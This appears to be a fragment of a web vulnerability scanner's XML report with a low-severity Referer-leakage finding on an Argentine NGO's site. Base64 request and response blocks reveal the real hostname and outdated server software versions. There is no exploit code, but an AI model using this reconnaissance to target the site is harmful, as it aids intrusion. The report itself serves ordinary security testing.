mh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
78 <responseRedirected>false</responseRedirected>
79 </requestresponse>
80 </issue>
81 <issue>
82 <serialNumber>5107728146274449408</serialNumber>
83 <type>5243904</type>
84 <name>Cross-domain Referer leakage</name>
85 <host ip="200.20.20.201">http://www.example.org.ar</host>
86 <path><![CDATA[/index.php]]></path>
87 <location><![CDATA[/index.php]]></location>
88 <severity>Information</severity>
89 <confidence>Certain</confidence>
90 <issueBackground><![CDATA[When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.<br><br>If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.<br><br>You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.<br><br>Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.<br><br>Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.]]></issueBackground>
91 <remediationBackground><![CDATA[The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.]]></remediationBackground>
92 <issueDetail><![CDATA[The page was loaded from a URL containing a query string:<ul><li>http://www.example.org.ar/index.php?id=14_new&amp;nota=301</li></ul>The response contains the following links to other domains:<ul><li>http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab</li><li>http://twitter.com/exampleONG</li><li>http://www.congresoviolencia.com/</li><li>http://www.facebook.com/home.php?</li><li>http://www.sitei.com.ar/</li></ul>]]></issueDetail>
93 <requestresponse>
94 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIEhUVFAvMS4xDQpIb3N0OiB3d3cuc2FsdWRhY3RpdmEub3JnLmFyDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgVHJpZGVudC81LjApDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]></request>
95 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNTAzMTMNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGh